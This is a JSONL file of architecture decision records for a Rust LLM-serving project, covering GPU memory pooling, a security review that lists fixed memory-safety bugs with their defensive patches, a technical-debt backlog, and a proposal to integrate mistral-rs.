best_fit\n thread_cache_size: 16 # Pages per thread cache\n\n # Eviction policy\n eviction:\n policy: \"lru_size_aware\"\n hysteresis: 0.1 # 10% hysteresis band\n high_watermark: 0.90 # Start eviction at 90%\n low_watermark: 0.80 # Stop eviction at 80%\n\n # Pinning\n pinning:\n max_pin_duration: \"30s\" # Auto-unpin after this\n pin_timeout: \"100ms\" # Timeout for pin acquisition\n\n # Adapter serving\n adapters:\n hot_tier_budget: 100\n warm_tier_budget: 1000\n compression_threshold: \"60s\"\n promotion_threshold: 10 # Accesses to promote\n```\n\n## 13. Consequences\n\n### Positive\n\n- **High Utilization**: Unified pool achieves >95% memory utilization\n- **Low Fragmentation**: Page-based allocation eliminates external fragmentation\n- **Scalable Multi-Tenancy**: Supports 10,000+ adapters with tiered residency\n- **Predictable Latency**: Lock-free fast paths maintain sub-microsecond allocation\n- **Graceful Degradation**: Hysteresis prevents thrashing under pressure\n\n### Negative\n\n- **Internal Fragmentation**: Fixed page size wastes space for small allocations\n- **Complexity**: Reference counting and eviction add implementation complexity\n- **Tuning Required**: Optimal performance requires workload-specific configuration\n\n### Risks\n\n| Risk | Likelihood | Impact | Mitigation |\n|------|------------|--------|------------|\n| Page size mismatch | Medium | Medium | Configurable page sizes |\n| Eviction storms | Low | High | Hysteresis + priorities |\n| Pin leaks | Medium | Medium | RAII + timeout enforcement |\n| Adapter thrashing | Medium | Medium | Promotion/demotion thresholds |\n\n## 14. Implementation Plan\n\n### Phase 1: Core Pool (Week 1-2)\n- [ ] Page allocator with metadata table\n- [ ] Best-fit allocation algorithm\n- [ ] Basic LRU eviction\n- [ ] Unit tests for allocation/free\n\n### Phase 2: Concurrency (Week 3-4)\n- [ ] Lock-free free list\n- [ ] Thread-local caching\n- [ ] Two-phase activation\n- [ ] Stress tests for concurrency\n\n### Phase 3: Adapter Serving (Week 5-6)\n- [ ] Residency tier management\n- [ ] Heterogeneous batching\n- [ ] Adapter compression\n- [ ] Integration tests\n\n### Phase 4: Observability (Week 7)\n- [ ] Prometheus metrics\n- [ ] Grafana dashboards\n- [ ] Alerting rules\n- [ ] Performance benchmarks\n\n## 15. References\n\n1. S-LoRA: Serving Thousands of Concurrent LoRA Adapters (arXiv:2311.03285)\n2. vLLM: Easy, Fast, and Cheap LLM Serving with PagedAttention\n3. CUDA Best Practices Guide: Memory Management\n4. The Slab Allocator: An Object-Caching Kernel Memory Allocator (Bonwick, 1994)\n5. Lock-Free Data Structures (Herlihy & Shavit)\n\n## 16. Appendix\n\n### A. Page State Machine\n\n```\n allocate()\n +-------------------------------+\n | |\n v |\n +-------+ pin() +--------+ |\n | FREE |--------------->| PINNED |--+\n +-------+ +--------+\n ^ |\n | | unpin() && ref_count == 0\n | v\n | evict() +----------+\n +-------------------| UNPINNED |\n +----------+\n```\n\n### B. Memory Layout Example\n\n```\nGPU Memory (8GB total, 4096 x 2MB pages):\n\nPages 0-99: KV Cache Pool (hot)\nPages 100-199: LoRA Adapter Pool (hot tier, 100 adapters)\nPages 200-299: Temporary Buffers\nPages 300-3999: Dynamic allocation zone\nPages 4000-4095: Reserved for system\n\nCPU Memory (host staging):\n- Warm tier adapters (int8 compressed)\n- Prefetch buffers\n- Eviction targets\n```\n\n### C. Benchmark Targets\n\n| Operation | Target Latency | Throughput |\n|-----------|----------------|------------|\n| Allocate 1 page | <100ns | >10M/s |\n| Allocate 100 pages | <1us | >1M/s |\n| Pin page | <50ns | >20M/s |\n| Unpin page | <50ns | >20M/s |\n| Evict 1 page | <10us | >100K/s |\n| Load adapter (hot) | <100us | >10K/s |\n| Load adapter (warm) | <1ms | >1K/s |\n| Load adapter (cold) | <10ms | >100/s |\n\n---\n\n## Related Decisions\n\n- **ADR-001**: Ruvector Core Architecture\n- **ADR-002**: RuvLLM Integration\n- **ADR-004**: KV Cache Management\n- **ADR-007**: Security Review & Technical Debt\n\n---\n\n## Security Status (v2.1)\n\n| Component | Status | Notes |\n|-----------|--------|-------|\n| PooledBuffer | \u2705 Secure | Double-free prevention documented |\n| PageAllocator | \u2705 Secure | RAII handles prevent leaks |\n| AdapterManager | \u2705 Secure | Access control enforced |\n\n**Fixes Applied:**\n- Documented safety invariants in `PooledBuffer::Drop` implementation\n- Added empty buffer check in `return_buffer()` to prevent double-free\n\nSee ADR-007 for full security audit trail.\n\n---\n\n## Revision History\n\n| Version | Date | Author | Changes |\n|---------|------|--------|---------|\n| 1.0 | 2026-01-18 | RuVector Architecture Team | Initial version |\n| 1.1 | 2026-01-19 | Security Review Agent | Added security status, related decisions |", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-006-memory-management.md", "created_at": "2026-03-28T11:58:48.804036+00:00", "content_hash": "852b1c0f0c23b4fd1270803f4efa6fd67aed668b966017bafe13ea8f75b9ed5e"} +{"id": "82ae447a-9c9d-4c1e-a788-78c0e5b9d08c", "source": "adr", "text": "# ADR-007: Security Review & Technical Debt Remediation\n\n**Status:** Active\n**Date:** 2026-01-19\n**Decision Makers:** Ruvector Architecture Team\n**Technical Area:** Security, Code Quality, Technical Debt Management\n\n---\n\n## Context and Problem Statement\n\nFollowing the v2.1 release of RuvLLM and the ruvector monorepo, a comprehensive security audit and code quality review was conducted. The review identified critical security vulnerabilities, code quality issues, and technical debt that must be addressed before production deployment.\n\n### Review Methodology\n\nFour specialized review agents were deployed:\n1. **Security Audit Agent**: CVE-style vulnerability analysis\n2. **Code Quality Review Agent**: Architecture, patterns, and maintainability\n3. **Rust Security Analysis Agent**: Memory safety and unsafe code audit\n4. **Metal Shader Review Agent**: GPU shader security and correctness\n\n### Summary of Findings\n\n| Severity | Count | Status |\n|----------|-------|--------|\n| Critical | 8 | \u2705 Fixed |\n| High | 13 | Tracked |\n| Medium | 31 | Tracked |\n| Low | 18 | Tracked |\n\n**Overall Quality Score:** 7.5/10\n**Estimated Technical Debt:** ~52 hours\n\n---\n\n## Security Fixes Applied (Critical)\n\n### 1. Metal Shader Threadgroup Memory Overflow\n**File:** `crates/ruvllm/src/metal/shaders/gemm.metal`\n**CVE-Style:** Buffer overflow in GEMM threadgroup memory\n**Fix:** Reduced tile sizes to fit M4 Pro's 32KB threadgroup limit\n\n```metal\n// Before: TILE_SIZE 32 exceeded threadgroup memory\n// After: TILE_SIZE_M=64, TILE_SIZE_N=64, TILE_SIZE_K=8\n// Total: 64*8 + 8*64 + 64*64 = 5120 floats = 20KB < 32KB\n```\n\n### 2. Division by Zero in GQA Attention\n**File:** `crates/ruvllm/src/metal/shaders/attention.metal`\n**CVE-Style:** Denial of service via num_kv_heads=0\n**Fix:** Added guard for zero denominator in grouped query attention\n\n```metal\nif (num_kv_heads == 0) return; // Guard against division by zero\nconst uint kv_head = head_idx / max(num_heads / num_kv_heads, 1u);\n```\n\n### 3. Integer Overflow in GGUF Parser\n**File:** `crates/ruvllm/src/model/parser.rs`\n**CVE-Style:** Integer overflow leading to undersized allocation\n**Fix:** Added overflow check with explicit error handling\n\n```rust\nlet total_bytes = element_count\n .checked_mul(element_size)\n .ok_or_else(|| Error::msg(\"Array size overflow in GGUF metadata\"))?;\n```\n\n### 4. Race Condition in SharedArrayBuffer\n**File:** `crates/ruvllm/src/wasm/shared.rs`\n**CVE-Style:** Data race in WASM concurrent access\n**Fix:** Added comprehensive documentation of safety requirements\n\n```rust\n/// # Safety\n///\n/// SharedArrayBuffer data races are prevented because:\n/// 1. JavaScript workers coordinate via message passing\n/// 2. Atomics.wait/notify provide synchronization primitives\n/// 3. Our WASM binding only reads after Atomics.wait returns\n```\n\n### 5. Unsafe Transmute in iOS Learning\n**File:** `crates/ruvllm/src/learning/ios_learning.rs`\n**CVE-Style:** Type confusion via unvalidated transmute\n**Fix:** Added comprehensive safety comments documenting invariants\n\n### 6. Norm Shader Buffer Overflow\n**File:** `crates/ruvllm/src/metal/shaders/norm.metal`\n**CVE-Style:** Stack buffer overflow for hidden_size > 1024\n**Fix:** Added constant guard and early return\n\n```metal\nconstant uint MAX_HIDDEN_SIZE_FUSED = 1024;\nif (hidden_size > MAX_HIDDEN_SIZE_FUSED) return;\n```\n\n### 7. KV Cache Unsafe Slice Construction\n**File:** `crates/ruvllm/src/kv_cache.rs`\n**CVE-Style:** Undefined behavior in slice::from_raw_parts\n**Fix:** Added safety documentation and proper `set_len_unchecked` method\n\n```rust\n/// # Safety\n/// - `new_len <= self.capacity`\n/// - All elements up to `new_len` have been initialized\n#[inline(always)]\npub(crate) unsafe fn set_len_unchecked(&mut self, new_len: usize) {\n debug_assert!(new_len <= self.capacity);\n self.len = new_len;\n}\n```\n\n### 8. Memory Pool Double-Free Risk\n**File:** `crates/ruvllm/src/memory_pool.rs`\n**CVE-Style:** Double-free in PooledBuffer Drop\n**Fix:** Documented safety invariants in Drop implementation\n\n```rust\nimpl Drop for PooledBuffer {\n fn drop(&mut self) {\n // SAFETY: Double-free prevention\n // 1. Each PooledBuffer has exclusive ownership of its `data` Box\n // 2. We swap with empty Box to take ownership before returning\n // 3. return_buffer() checks for empty buffers and ignores them\n let data = std::mem::replace(&mut self.data, Box::new([]));\n self.pool.return_buffer(self.size_class, data);\n }\n}\n```\n\n---\n\n## Outstanding Technical Debt\n\n### Priority 0 (Critical Path)\n\n#### TD-001: Code Duplication in Linear Transform\n**Files:** `phi3.rs`, `gemma2.rs`\n**Issue:** Identical `linear_transform` implementations (27 lines each)\n**Impact:** Maintenance burden, divergence risk\n**Recommendation:** Extract to shared `ops` module\n**Effort:** 2 hours\n\n#### TD-002: Hardcoded Worker Pool Timeout\n**File:** `crates/ruvllm/src/serving.rs`\n**Issue:** `const WORKER_TIMEOUT: Duration = Duration::from_millis(200);`\n**Impact:** Not configurable for different workloads\n**Recommendation:** Make configurable via ServingConfig\n**Effort:** 4 hours\n\n#### TD-003: Placeholder Token Generation\n**File:** `crates/ruvllm/src/serving.rs`\n**Issue:** `ServingEngine::generate_tokens` returns dummy response\n**Impact:** Core functionality not implemented\n**Recommendation:** Wire to actual model inference pipeline\n**Effort:** 8 hours\n\n### Priority 1 (High Impact)\n\n#### TD-004: Incomplete GPU Shaders\n**Files:** `attention.metal`, `norm.metal`\n**Issue:** Placeholder kernels that don't perform actual computation\n**Impact:** No GPU acceleration in production\n**Recommendation:** Implement full Flash Attention and RMSNorm\n**Effort:** 16 hours\n\n#### TD-005: GGUF Model Loading Not Implemented\n**File:** `crates/ruvllm/src/model/loader.rs`\n**Issue:** GGUF format parsing exists but loading is stubbed\n**Impact:** Cannot load quantized models\n**Recommendation:** Complete tensor extraction and memory mapping\n**Effort:** 8 hours\n\n#### TD-006: NEON SIMD Inefficiency\n**File:** `crates/ruvllm/src/simd/neon.rs`\n**Issue:** Activation functions process scalars, not vectors\n**Impact:** 4x slower than optimal on ARM64\n**Recommendation:** Vectorize SiLU, GELU using NEON intrinsics\n**Effort:** 4 hours\n\n### Priority 2 (Medium Impact)\n\n#### TD-007: Embedded JavaScript in Rust\n**File:** `crates/ruvllm/src/wasm/bindings.rs`\n**Issue:** Raw JavaScript strings embedded in Rust code\n**Impact:** Hard to maintain, no syntax highlighting\n**Recommendation:** Move to separate `.js` files, use include_str!\n**Effort:** 2 hours\n\n#### TD-008: Missing Configuration Validation\n**File:** `crates/ruvllm/src/config.rs`\n**Issue:** No validation for config field ranges\n**Impact:** Silent failures with invalid configs\n**Recommendation:** Add validation in constructors\n**Effort:** 2 hours\n\n#### TD-009: Excessive Allocations in Attention\n**File:** `crates/ruvllm/src/attention.rs`\n**Issue:** Vec allocations per forward pass\n**Impact:** GC pressure, latency spikes\n**Recommendation:** Pre-allocate scratch buffers\n**Effort:** 4 hours\n\n#### TD-010: Missing Error Context\n**Files:** Multiple\n**Issue:** `anyhow::Error` without `.context()`\n**Impact:** Hard to debug in production\n**Recommendation:** Add context to all fallible operations\n**Effort:** 3 hours\n\n### Priority 3 (Low Impact)\n\n#### TD-011: Non-Exhaustive Configs\n**Files:** `config.rs`, `serving.rs`\n**Issue:** Structs should be `#[non_exhaustive]` for API stability\n**Impact:** Breaking changes on field additions\n**Recommendation:** Add attribute to public config structs\n**Effort:** 1 hour\n\n#### TD-012: Missing Debug Implementations\n**Files:** Multiple model structs\n**Issue:** Large structs lack `Debug` impl\n**Impact:** Hard to log state for debugging\n**Recommendation:** Derive or implement Debug with redaction\n**Effort:** 2 hours\n\n#### TD-013: Inconsistent Error Types\n**Files:** `parser.rs`, `loader.rs`, `serving.rs`\n**Issue:** Mix of anyhow::Error, custom errors, Results\n**Impact:** Inconsistent error handling patterns\n**Recommendation:** Standardize on thiserror-based hierarchy\n**Effort:** 4 hours\n\n---\n\n## Implementation Recommendations\n\n### Phase 1: Critical Path (Week 1)\n- [ ] TD-001: Extract linear_transform to ops module\n- [ ] TD-002: Make worker timeout configurable\n- [ ] TD-003: Implement token generation pipeline\n\n### Phase 2: Performance (Weeks 2-3)\n- [ ] TD-004: Complete GPU shader implementations\n- [ ] TD-005: Finish GGUF model loading\n- [ ] TD-006: Vectorize NEON activation functions\n\n### Phase 3: Quality (Week 4)\n- [ ] TD-007: Extract embedded JavaScript\n- [ ] TD-008: Add configuration validation\n- [ ] TD-009: Optimize attention allocations\n- [ ] TD-010: Add error context throughout\n\n### Phase 4: Polish (Week 5)\n- [ ] TD-011: Add #[non_exhaustive] attributes\n- [ ] TD-012: Implement Debug for model structs\n- [ ] TD-013: Standardize error types\n\n---\n\n## Decision Outcome\n\n### Chosen Approach\n\n**Track and remediate incrementally** with the following guidelines:\n\n1. **Critical security issues**: Fix immediately before any production deployment\n2. **P0 technical debt**: Address in next sprint\n3. **P1-P3 items**: Schedule based on feature roadmap intersection\n\n### Rationale\n\n- Security vulnerabilities pose immediate risk and were fixed\n- Technical debt should not block v2.1 release for internal use\n- Incremental improvement allows velocity while maintaining quality\n\n### Consequences\n\n**Positive:**\n- Clear tracking of all known issues\n- Prioritized remediation path\n- Security issues documented for audit trail\n\n**Negative:**\n- Technical debt accumulates interest if not addressed\n- Some edge cases may cause issues in production\n\n**Risks:**\n- TD-003 (placeholder generation) blocks real inference workloads\n- TD-004 (GPU shaders) prevents Metal acceleration benefits\n\n---\n\n## Compliance and Audit\n\n### Security Review Artifacts\n- Security audit report: `docs/security/audit-2026-01-19.md`\n- Code quality report: Captured in this ADR\n- Rust security analysis: All unsafe blocks documented\n\n### Verification\n- [ ] All critical fixes have regression tests\n- [ ] Unsafe code blocks have safety comments\n- [ ] Metal shaders have bounds checking\n\n---\n\n## References\n\n- ADR-001: Ruvector Core Architecture\n- ADR-002: RuvLLM Integration\n- ADR-004: KV Cache Management\n- ADR-006: Memory Management\n- OWASP Memory Safety Guidelines\n- Rust Unsafe Code Guidelines\n\n---\n\n## Changelog\n\n| Date | Author | Change |\n|------|--------|--------|\n| 2026-01-19 | Security Review Agent | Initial draft |\n| 2026-01-19 | Architecture Team | Applied 8 critical fixes |", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-007-security-review-technical-debt.md", "created_at": "2026-03-28T11:58:48.804276+00:00", "content_hash": "82a30a21068fe4c08259acec507d6dae3093ca3d70a4528e331f8eaac3df0e2d"} +{"id": "f8e3d694-f0b4-4e3b-af0d-81e6d11fe5bf", "source": "adr", "text": "# ADR-008: mistral-rs Integration for Production-Scale LLM Serving\n\n**Status:** Proposed\n**Date:** 2026-01-20\n**Decision Makers:** Ruvector Architecture Team\n**Technical Area:** LLM Inference Engine / Production Serving\n\n---\n\n## Context and Problem Statement\n\nRuvLLM v2.3 includes a stub `MistralBackend` implementation at `crates/ruvllm/src/backends/mistral_backend.rs` that defines the interface for high-performance LLM inference but lacks actual integration with the mistral-rs crate. The current Candle backend is optimized for single-user and edge deployment scenarios, but production-scale serving requires advanced memory management and multi-tenant capabilities.\n\n### Current State\n\nThe existing `MistralBackend` stub provides:\n- Configuration structures for PagedAttention, X-LoRA, and ISQ\n- `XLoraManager` with adapter loading/routing logic (placeholder)\n- `MistralBackendConfig` with builder pattern for Metal/CUDA targets\n- Integration hooks for the `LlmBackend` trait\n\nHowever, the implementation is non-functional:\n- No actual mistral-rs crate dependency\n- Token generation returns placeholder values\n- Model loading does not wire to inference pipeline\n- PagedAttention uses RuvLLM's internal implementation, not mistral-rs's optimized version\n\n### Key Challenges\n\n1. **Concurrent User Scaling**: Candle backend is optimized for single-user inference; production servers need 10-100+ concurrent requests\n2. **KV Cache Memory Pressure**: Without vLLM-style paging, long-context sessions exhaust GPU memory\n3. **Multi-Task Models**: LoRA adapter switching requires per-request overhead; X-LoRA enables per-token routing\n4. **Deployment Flexibility**: Models should be quantized at runtime based on available hardware\n\n---\n\n## Decision Drivers\n\n### Performance Requirements\n- **Concurrent sessions**: 50-100 simultaneous inference requests\n- **Memory efficiency**: 5-10x improvement in KV cache utilization\n- **Adapter latency**: <1ms overhead for X-LoRA routing decisions\n- **Quantization**: Runtime ISQ without model re-export\n\n### Compatibility Requirements\n- **Existing interface**: Must implement `LlmBackend` trait seamlessly\n- **Feature isolation**: Optional dependency with feature flags\n- **Backend selection**: Runtime choice between Candle and mistral-rs\n\n### Hardware Requirements\n- **Apple Silicon**: Metal acceleration via `mistral-rs-metal`\n- **NVIDIA GPUs**: CUDA acceleration via `mistral-rs-cuda`\n- **CPU fallback**: Pure Rust path for edge/WASM targets\n\n---\n\n## Considered Options\n\n### Option A: Fork and Embed mistral-rs\n\nVendor mistral-rs source code directly into RuvLLM.\n\n**Pros:**\n- Full control over API surface\n- No external dependency versioning\n- Can customize for RuvLLM's needs\n\n**Cons:**\n- Maintenance burden of tracking upstream\n- Miss upstream optimizations and fixes\n- Duplicated effort\n\n### Option B: Optional Dependency with Feature Flags\n\nAdd mistral-rs as an optional dependency behind feature flags, wiring the existing `MistralBackend` interface to actual mistral-rs crate.\n\n**Pros:**\n- Leverage upstream development\n- Clean separation via features\n- Users choose their backend at compile time\n- Smaller binary for edge deployments (Candle-only)\n\n**Cons:**\n- API surface depends on upstream stability\n- Two codepaths to maintain\n- Feature matrix complexity\n\n### Option C: Runtime Backend Selection\n\nUse dynamic dispatch to select backend at runtime via configuration.\n\n**Pros:**\n- Single binary for all deployments\n- Runtime flexibility\n\n**Cons:**\n- Binary size includes all backends\n- Dynamic dispatch overhead\n- Complex testing matrix\n\n---\n\n## Decision Outcome\n\n**Chosen Option: Option B - Optional Dependency with Feature Flags**\n\nAdd mistral-rs as an optional dependency with three feature flags, wiring the existing `MistralBackend` stub to the actual mistral-rs implementation.\n\n### Rationale\n\n1. **Separation of concerns**: Edge deployments use Candle (no mistral-rs dependency); server deployments enable mistral-rs features\n2. **Upstream leverage**: mistral-rs team maintains PagedAttention, X-LoRA, ISQ implementations\n3. **Existing interface**: The `MistralBackend` stub already defines the API; we wire it to real implementation\n4. **Incremental adoption**: Users can migrate from Candle to mistral-rs backend per-deployment\n\n---\n\n## Technical Specifications\n\n### Feature Flags\n\n```toml\n# Cargo.toml additions\n[features]\ndefault = [\"candle-backend\"]\n\n# Base mistral-rs integration\nmistral-rs = [\"dep:mistralrs\", \"dep:mistralrs-core\"]\n\n# Apple Silicon Metal acceleration\nmistral-rs-metal = [\"mistral-rs\", \"mistralrs/metal\"]\n\n# NVIDIA CUDA acceleration\nmistral-rs-cuda = [\"mistral-rs\", \"mistralrs/cuda\"]\n\n[dependencies]\n# Optional mistral-rs integration\nmistralrs = { version = \"0.3\", optional = true }\nmistralrs-core = { version = \"0.3\", optional = true }\n```\n\n### Feature Matrix\n\n| Feature | Candle | mistral-rs | mistral-rs-metal | mistral-rs-cuda |\n|---------|--------|------------|------------------|-----------------|\n| Single-user inference | Yes | Yes | Yes | Yes |\n| PagedAttention | No | Yes | Yes | Yes |\n| X-LoRA | No | Yes | Yes | Yes |\n| ISQ | No | Yes | Yes | Yes |\n| Metal acceleration | Yes | No | Yes | No |\n| CUDA acceleration | Partial | No | No | Yes |\n| WASM support | Yes | No | No | No |\n| Binary size | ~15MB | ~45MB | ~50MB | ~60MB |\n\n### Architecture\n\n```\n+-----------------------------------------------------------------------+\n| MISTRAL-RS INTEGRATION ARCHITECTURE |\n+-----------------------------------------------------------------------+\n| |\n| +-------------------+ +-------------------+ +--------------+ |\n| | MistralBackend | | mistralrs::Model | | Hardware | |\n| | (RuvLLM adapter) | | (inference core) | | Accelerator | |\n| | | | | | | |\n| | - Config mapping |---->| - PagedAttention |---->| - Metal | |\n| | - Trait impl | | - X-LoRA routing | | - CUDA | |\n| | - Error handling | | - ISQ runtime | | - CPU | |\n| +--------+----------+ +---------+---------+ +------+-------+ |\n| | | | |\n| v v v |\n| +--------+----------+ +---------+---------+ +------+-------+ |\n| | LlmBackend trait | | KV Cache Pool | | Tensor Ops | |\n| | (RuvLLM unified) | | (PagedAttention) | | (kernels) | |\n| +-------------------+ +-------------------+ +--------------+ |\n| |\n+-----------------------------------------------------------------------+\n```\n\n### Key Features to Enable\n\n#### 1. PagedAttention (vLLM-style KV Cache Management)\n\nPagedAttention partitions the KV cache into fixed-size blocks (pages) that can be allocated non-contiguously, enabling:\n- **5-10x concurrent users**: Memory shared across requests via copy-on-write pages\n- **Dynamic allocation**: Pages allocated as sequences grow, freed when complete\n- **Prefix caching**: Common prefixes (system prompts) share pages across requests\n\n```rust\n/// PagedAttention configuration for mistral-rs\n#[cfg(feature = \"mistral-rs\")]\npub struct PagedAttentionConfig {\n /// Block size in tokens (typical: 16)\n pub block_size: usize,\n /// Maximum blocks in page table\n pub max_blocks: usize,\n /// GPU memory fraction for KV cache (0.0-1.0)\n pub gpu_memory_fraction: f32,\n /// Enable prefix caching for repeated prompts\n pub enable_prefix_caching: bool,\n}\n\nimpl Default for PagedAttentionConfig {\n fn default() -> Self {\n Self {\n block_size: 16,\n max_blocks: 4096,\n gpu_memory_fraction: 0.9,\n enable_prefix_caching: true,\n }\n }\n}\n```\n\n**Performance Impact:**\n| Metric | Without PagedAttention | With PagedAttention |\n|--------|------------------------|---------------------|\n| Concurrent users | 1-2 | 10-50 |\n| Memory utilization | 40-60% | 85-95% |\n| Memory fragmentation | High | Near-zero |\n\n#### 2. X-LoRA (eXpert-mixed LoRA)\n\nX-LoRA enables per-token adapter routing for multi-task models:\n- **Dynamic mixing**: Router network selects adapters per token\n- **Learned routing**: MLP router trained on adapter selection\n- **Top-k activation**: Only k adapters compute per token (efficiency)\n\n```rust\n/// X-LoRA configuration for multi-adapter inference\n#[cfg(feature = \"mistral-rs\")]\npub struct XLoraConfig {\n /// Adapter names/paths to load\n pub adapters: Vec,\n /// Top-k adapters to activate per token\n pub top_k: usize,\n /// Router temperature for softmax\n pub temperature: f32,\n /// Mixing mode\n pub mixing_mode: XLoraMixingMode,\n}\n\n#[derive(Debug, Clone, Copy)]\npub enum XLoraMixingMode {\n /// Sum weighted adapter outputs\n Additive,\n /// Concatenate and project\n Concatenate,\n /// Gated mixture with learned gates\n Gated,\n}\n```\n\n**Use Cases:**\n- Code + chat model: Route code tokens to code adapter, natural language to chat adapter\n- Multi-language: Route based on detected language\n- Domain-specific: Finance, medical, legal adapters activated by context\n\n#### 3. ISQ (In-Situ Quantization)\n\nISQ enables runtime quantization without pre-exported quantized models:\n- **Runtime flexibility**: Same model weights, different quantization per deployment\n- **Memory adaptation**: Quantize to fit available hardware\n- **Quality preservation**: Activation-aware methods (AWQ, GPTQ) maintain accuracy\n\n```rust\n/// ISQ configuration for runtime quantization\n#[cfg(feature = \"mistral-rs\")]\npub struct IsqConfig {\n /// Quantization bits (2, 4, 8)\n pub bits: u8,\n /// Quantization method\n pub method: IsqMethod,\n /// Calibration dataset size\n pub calibration_samples: usize,\n}\n\n#[derive(Debug, Clone, Copy)]\npub enum IsqMethod {\n /// Activation-aware Weight Quantization\n AWQ,\n /// GPTQ with optimal brain quantization\n GPTQ,\n /// Round-to-nearest (fastest, lower quality)\n RTN,\n /// SmoothQuant (activation smoothing)\n SmoothQuant,\n}\n```\n\n**Performance Impact:**\n| Method | Bits | Memory Reduction | Quality Loss |\n|--------|------|------------------|--------------|\n| AWQ | 4 | 4x | <1% |\n| GPTQ | 4 | 4x | <1% |\n| RTN | 4 | 4x | 2-3% |\n| AWQ | 2 | 8x | 3-5% |\n\n### Implementation Roadmap\n\n#### Phase 1: Core Integration (Week 1-2)\n\n1. Add mistral-rs dependencies with feature flags\n2. Implement config mapping: `MistralBackendConfig` -> `mistralrs::Config`\n3. Wire `load_model` to mistral-rs model loading\n4. Wire `generate` and `generate_stream` to mistral-rs inference\n\n```rust\n#[cfg(feature = \"mistral-rs\")]\nimpl LlmBackend for MistralBackend {\n fn load_model(&mut self, model_id: &str, config: ModelConfig) -> Result<()> {\n use mistralrs::{ModelKind, MistralRs, MistralRsBuilder};\n\n let builder = MistralRsBuilder::new(model_id)\n .with_paged_attention(self.config.paged_attention.as_ref().map(|pa| {\n mistralrs::PagedAttentionConfig {\n block_size: pa.block_size,\n ..Default::default()\n }\n }));\n\n self.inner = Some(builder.build()?);\n Ok(())\n }\n\n fn generate(&self, prompt: &str, params: GenerateParams) -> Result {\n let inner = self.inner.as_ref()\n .ok_or_else(|| Error::msg(\"Model not loaded\"))?;\n\n let request = mistralrs::Request::new(prompt)\n .with_max_tokens(params.max_tokens)\n .with_temperature(params.temperature);\n\n let response = inner.send_request(request)?;\n Ok(response.text)\n }\n}\n```\n\n#### Phase 2: Advanced Features (Week 3-4)\n\n1. Enable PagedAttention with configurable parameters\n2. Add X-LoRA adapter loading and routing\n3. Implement ISQ with calibration pipeline\n\n#### Phase 3: Hardware Acceleration (Week 5-6)\n\n1. Test and validate Metal acceleration\n2. Test and validate CUDA acceleration\n3. Benchmark against Candle backend\n\n---\n\n## Consequences\n\n### Positive Consequences\n\n1. **Production-scale serving**: PagedAttention enables 5-10x more concurrent users\n2. **Multi-task efficiency**: X-LoRA eliminates adapter switching overhead\n3. **Deployment flexibility**: ISQ allows runtime quantization decisions\n4. **Upstream maintenance**: mistral-rs team maintains core inference optimizations\n5. **Feature parity**: Access to latest mistral-rs features (Flash Attention 2, speculative decoding)\n\n### Negative Consequences\n\n1. **Dependency complexity**: Additional crate dependencies increase build complexity\n2. **API surface coupling**: Changes in mistral-rs may require RuvLLM updates\n3. **Feature matrix**: Two backend codepaths require testing both paths\n4. **WASM incompatibility**: mistral-rs does not support WASM targets\n\n### Neutral Consequences\n\n1. **Two backend options**: Candle remains optimal for edge/WASM; mistral-rs for server\n2. **Compile-time selection**: Users choose backend via feature flags\n3. **Binary size tradeoff**: Server builds are larger; edge builds unchanged\n\n### Risk Mitigation\n\n| Risk | Mitigation |\n|------|------------|\n| mistral-rs API instability | Pin to specific version; abstract via MistralBackend interface |\n| Feature flag complexity | Comprehensive CI matrix testing all feature combinations |\n| Performance regression | Benchmark suite comparing Candle vs mistral-rs |\n| Metal/CUDA compatibility | Platform-specific CI runners for hardware validation |\n\n---\n\n## Alternatives Considered\n\n### llama.cpp via rust-llama\n\n- **Rejected**: Different model format (GGUF), weaker Rust integration\n- **Consideration**: Could add as third backend for GGUF model support\n\n### candle-transformers PagedAttention\n\n- **Rejected**: Candle's PagedAttention is experimental and less mature\n- **Consideration**: Monitor upstream development\n\n### vLLM Python Backend\n\n- **Rejected**: Python FFI adds latency; deployment complexity\n- **Consideration**: vLLM's algorithm informs our understanding\n\n---\n\n## Related Decisions\n\n- **ADR-001**: Ruvector Core Architecture (HNSW, Graph Store)\n- **ADR-002**: RuvLLM Integration with Ruvector\n- **ADR-003**: SIMD Optimization Strategy\n- **ADR-004**: KV Cache Management\n- **ADR-006**: Memory Management\n- **ADR-007**: Security Review & Technical Debt\n\n---\n\n## Compliance and Standards\n\n### API Compatibility\n- `MistralBackend` implements `LlmBackend` trait\n- All existing RuvLLM consumers work unchanged\n- Feature flags are additive (no breaking changes)\n\n### Testing Requirements\n- Unit tests for config mapping\n- Integration tests with sample models\n- Benchmark suite comparing backends\n- CI matrix for feature flag combinations\n\n### Documentation Requirements\n- Feature flag documentation in README\n- Backend selection guide\n- Performance comparison benchmarks\n\n---\n\n## References\n\n1. mistral-rs Repository: https://github.com/EricLBuehler/mistral.rs\n2. vLLM PagedAttention Paper: \"Efficient Memory Management for Large Language Model Serving with PagedAttention\"\n3. X-LoRA Paper: \"X-LoRA: Mixture of Low-Rank Adapter Experts\"\n4. ISQ/AWQ Paper: \"AWQ: Activation-aware Weight Quantization for LLM Compression\"\n5. Existing MistralBackend stub: `crates/ruvllm/src/backends/mistral_backend.rs`\n\n---\n\n## Implementation Status\n\n| Component | Status | Notes |\n|-----------|--------|-------|\n| Feature flags | Pending | Add to Cargo.toml |\n| Config mapping | Pending | MistralBackendConfig -> mistralrs::Config |\n| Model loading | Pending | Wire to mistral-rs loader |\n| Generation | Pending | Wire to mistral-rs inference |\n| PagedAttention | Pending | Enable via config |\n| X-LoRA | Pending | Wire existing XLoraManager |\n| ISQ | Pending | Implement calibration pipeline |\n| Metal acceleration | Pending | Test on Apple Silicon |\n| CUDA acceleration | Pending | Test on NVIDIA GPUs |\n\n---\n\n## Revision History\n\n| Version | Date | Author | Changes |\n|---------|------|--------|---------|\n| 1.0 | 2026-01-20 | Ruvector Architecture Team | Initial proposal |", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-008-mistral-rs-integration.md", "created_at": "2026-03-28T11:58:48.804397+00:00", "content_hash": "4fc4ada3c505fde78be02d3de5aea00cc8391e6a3bd311141e30f58a5cbd9851"} +{"id": "1f6c7515-3bfe-48e3-9703-a04545061f76", "source": "adr", "text": "# ADR-009: Structured Output / JSON Mode for Reliable Agentic Workflows\n\n**Status:** Proposed\n**Date:** 2026-01-20\n**Decision Makers:** Ruvector Architecture Team\n**Technical Area:** LLM Generation / Structured Output\n\n---\n\n## Context and Problem Statement\n\nRuvLLM v2.3 provides robust text generation capabilities but lacks structured output 